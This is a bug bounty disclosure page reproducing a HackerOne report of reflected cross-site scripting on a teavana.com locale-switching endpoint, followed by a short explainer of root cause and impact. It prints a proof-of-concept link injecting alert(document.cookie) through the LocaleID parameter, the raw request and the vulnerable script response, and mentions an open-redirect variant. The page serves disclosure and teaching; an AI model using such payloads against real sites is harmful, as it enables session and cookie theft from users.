Skip to content
XSS Disclosed report Beginner

Reflected XSS on teavana.com (Locale-Change)

The LocaleID parameter of a locale-switching endpoint was reflected into a JavaScript string inside the page without validation, so a crafted link could break out of the string and run script in the victim's browser. The same flaw could also be turned into an open redirect.

inhibitor181 Follow

Originally disclosed on HackerOne

  • Triaged in 16 days
  • Fixed in 3 months
  • Paid in 16 days
  • Disclosed after 6 months

SUMMARY

Hello, the link at https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Locale-Change?LocaleID=en_CA (was identified by changing languages) is prone to reflected XSS in the "en" zone of the LocaleID parameter. One can inject javascript that will be reflected back to the target while calling the modified link.

POC

https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Locale-Change?LocaleID=eas%27;alert(document.cookie);//an_CA

This injection is possible because the contents before the _CA are not validated and it will be injected in the response.

Request :

GET /on/demandware.store/Sites-Teavana-Site/default/Locale-Change?LocaleID=eas%27;alert(1);//dasdsan_CA HTTP/1.1
Host: www.teavana.com

Response :

<script type="text/javascript">
var uri = 'https:///on/demandware.store/Sites-StarbucksCA-Site/eas';alert(1);//dasdsan_CA/Home-Show';
uri=decodeURIComponent(uri);
if(uri.indexOf("/ca/en") >=0){
  uri=uri.replace("/ca/en","");
}
else if(uri.indexOf("/ca/fr") >=0){
  uri=uri.replace("/ca/fr","");
}
window.location = uri;
</script>

Note the : var uri = 'https:///on/demandware.store/Sites-StarbucksCA-Site/eas';alert(1);//dasdsan_CA/Home-Show';

This can also be modified to easily make an open redirect.

Also attached screenshot.

Attachments

xss_tea.png
xss_tea.png From the original on HackerOne

The original report as published on HackerOne, by inhibitor181. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the LocaleID value was inserted into a JavaScript string literal without validation or escaping, allowing a quote to break out of the string.

Impact

An attacker could run script in a victim's session on the site's domain, and the same parameter could be abused to redirect users elsewhere.

What the attacker needed

Victim clicks a crafted link

How it was found

  1. Open the Locale-Change endpoint with a normal locale value to see the reflected JavaScript.
  2. Modify the LocaleID value so it closes the JavaScript string and adds script.
  3. Load the modified link and observe the script executing in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page takes a value from the address bar and writes it into the page's code. The site put the language code into JavaScript without cleaning it, so an attacker could add their own JavaScript that the victim's browser runs.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by inhibitor181

View all

10 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.